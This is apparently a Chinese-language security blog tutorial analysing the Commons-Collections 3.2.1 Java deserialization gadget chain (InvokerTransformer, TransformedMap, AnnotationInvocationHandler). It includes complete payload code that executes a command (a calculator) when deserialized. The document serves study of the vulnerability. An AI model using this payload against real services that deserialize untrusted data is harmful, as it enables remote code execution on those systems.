欢迎关注我的微信公众号《壳中之魂》,查看更多网安文章
依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
CommonsCollections作用:commons-collections介绍 - codedot - 博客园 (cnblogs.com)
可以看到CommonsCollections是一个Java框架的增强工具,然而我们可以在里面找到可以利用的反序列化的链
在CommonsCollections中,这个InvokerTransformer是很好的利用点,首先此类继承了Serializable接口,导致可以反序列化,同时transform中使用反射调用了方法,而且所有的参数都可以控制,这就产生了命令执行的危害
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
利用链
AnnotationInvocationHandler:readObject(){setValue()} -> AbstractInputCheckedMapDecorator:setValue(){checkSetValue()} -> TransformedMap:checkSetValue(){transform()} = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
Payload
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("isSingleton", "test");
Map<Object, Object> map = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHconstructor.setAccessible(true);
Object obj = AIHconstructor.newInstance(AMXMetadata.class, map);
//序列化与反序列化
SerializeClass.Serialize(obj, "SerializeTest.bin");
UnserializeClass.Unserialize("SerializeTest.bin");
}
想找到利用链,先从尾部分析
首先先写出通过Runtime.exec命令执行的代码
正常情况下写法为
Runtime.getRuntime().exec("calc");
通过反射的写法
Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");
通过cc写法为
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
测试代码正确后,我们从transform开始入手,找到可以利用的链
右键transform,查找用法,可以发现有21个用法(下载了cc源码的情况下,想要直接右键查找方法首先要先下载源码,cc的源码下载很简单,随便打开一个.class文件然后点击上方的下载源代码即可),其中一个可以利用的点是在cc.map下的TransformedMap的checkSetValue方法,其实在TransformedMap中有很多方法都调用了transform方法,理论上如果链完整且参数可控的话都可以利用,这里就先拿一条案例作为说明
看到是checkSetValue方法的valueTransformer调用的transform
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
我们demo的语句是
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
所以我们首先要确定valueTransformer是可控的,可以赋值为new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})才可用
查看构造方法,发现为protect权限,被decorate调用
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
经过这样一分析,如果checkSetValue方法中,valueTransformer能够是我们的new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),那么效果是一样的,刚好这个值可以通过初始化对象来构造,由于构造方法里面要传一个Map对象,于是我们初始化一个HashMap给它
此处hashmap要存放对象,因为后面要用到
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("test", "test");
Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);//由于我们只需要控制valueTransformer,所以keyTransformer就赋了个null
确定可以控制参数后,我们要继续查找链,看看哪个方法调用checkSetValue方法
查找用法checkSetValue方法,发现是在AbstractInputCheckedMapDecorator.java下的MapEntry类中调用,MapEntry的作用可以用来遍历Map,所以我们可以构造一个Map,这个Map的类型必须是通过TransformedMap生成的Map,这样entry才会调用AbstractInputCheckedMapDecorator下的entry
然后使用MapEntry进行遍历就会调用到setValue方法,也会调用到checkSetValue方法,不过在此之前要先给Map添加一个值以便遍历
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
至此,经过我们的分析,我们原本demo的代码可以写为
public static void main(String[] args) throws ClassNotFoundException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "aaa");
Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);
for(Map.Entry entry:map.entrySet()){
entry.setValue(r);
}
}
运行代码后成功启动计算器,说明这条链是可以的,接下来我们要继续寻找入口点,最终目的是找到readObject()方法,运气很好的是,有一个类的readObject直接调用了setValue方法,在sun.reflect.annotation包中的AnnotationInvocationHandler类中,通过InvocationHandler可以知道这是动态代理
由于没有源码,所以要去openjdk中下载源码http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
如果jdk版本不同可能会显示字节码有差异,不过似乎问题不大
可以发现readObject中调用setValue也是在遍历数组的过程中
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
查看构造方法的传入参数类型,Annotation为注解类型,memberValues为map类型
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
在实例化此类的过程中,由于类是Default权限,所以不能直接实例化对象,必须通过反射得到
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHconstructor.setAccessible(true);
Object obj = AIHconstructor.newInstance(Override.class, map);
通过序列化AnnotationInvocationHandler才能触发里面的readObject方法,这个链才是完整的
到目前为止,我们已经找到了完整的利用链
AnnotationInvocationHandler:readObject(){setValue()} -> AbstractInputCheckedMapDecorator:setValue(){checkSetValue()} -> TransformedMap:checkSetValue(){transform()} = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
代码如下
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHconstructor.setAccessible(true);
Object AIH = AIHconstructor.newInstance(Target.class, map);
test(AIH);//用于序列化和反序列化的自定义方法
}
但是执行后并未调用计算器
这是因为如果要序列化则会出现两个问题:
1、Runtime类未继承Serializable接口,并不可以被序列化
2、我们的目标setValue是在AnnotationInvocationHandler类的readObject方法的if体中,且不可控,所以要达到条件才可以进入if体
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
对于第一点,我们要仿照
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
的写法来获取对象,首先先反射调用
Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");
通过transformer改写
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
测试后可以调用计算器,说明改写成功,于是乎我们可以像之前一样改写transform,但是这样过于繁琐,所以使用chainedtransform来代替,chainedtransform的作用就是连续调用transformers数组里面的transform方法,即transforms0.transform,transform1.transform...
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
测试成功后就只需要修改一个transform即可
对于第二点,我们要弄清楚什么情况下才可以进入到if体里面,进入调试
在AnnotationInvocationHandler类中的440行开始
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
首先会在我们传入的Map中获取key,然后在对应的注解查找是否有相应的参数
在这当中获取了注解的member类型,然而我们传入的Override是没有内容的,所以找不到对应的参数,会返回null
public @interface Override {
}
通过查看Annotation的实现类
就以第一个AMXMetadata为例子,点开
看到isSingleton,于是在map中传入isSingleton,然后将注解换为AMXMetadata
经过调试发现,成功进入了if体,但是并未成功执行命令,一步步调用查看
当执行checkSetValue方法时,步入transform方法
可以看到传入的iTransformers参数就是Transformer数组,然而Object是public abstract boolean com.sun.org.glassfish.gmbal.AMXMetadata.isSingleton(),即和我们设置map的内容相关
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
首先第一个就是
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
进入for循环,继续步入transform,可以看到反射获取了类和方法然而类是sun.reflect.annotation.AnnotationTypeMismatchExceptionProxy,方法是getMethod
这和我们设置的链是不一样的,所以自然抛出了没有此方法的错误
所以我们的目标是让Object传入的是Runtime
这时候又有一个Transformer叫ConstantTransformer,看一下它的构造方法
可以看到是传啥等于啥,transform方法就是直接把值给返回,所以如果我们在刚才的Transformer之前设置一个ConstantTransformer,并且传入Runtime,那么在反射获取类的时候就可以获得Runtime,
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("isSingleton", "test");
Map<Object, Object> map = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHconstructor.setAccessible(true);
Object obj = AIHconstructor.newInstance(AMXMetadata.class, map);
//序列化与反序列化
SerializeClass.Serialize(obj, "SerializeTest.bin");
UnserializeClass.Unserialize("SerializeTest.bin");
}
重新回到
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
调用了ConstantTransformer的Transformer,返回了java.lang.Runtime,使得循环的object变为了Runtime
再继续进入transform,链就正常了
最后成功启动了计算器
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。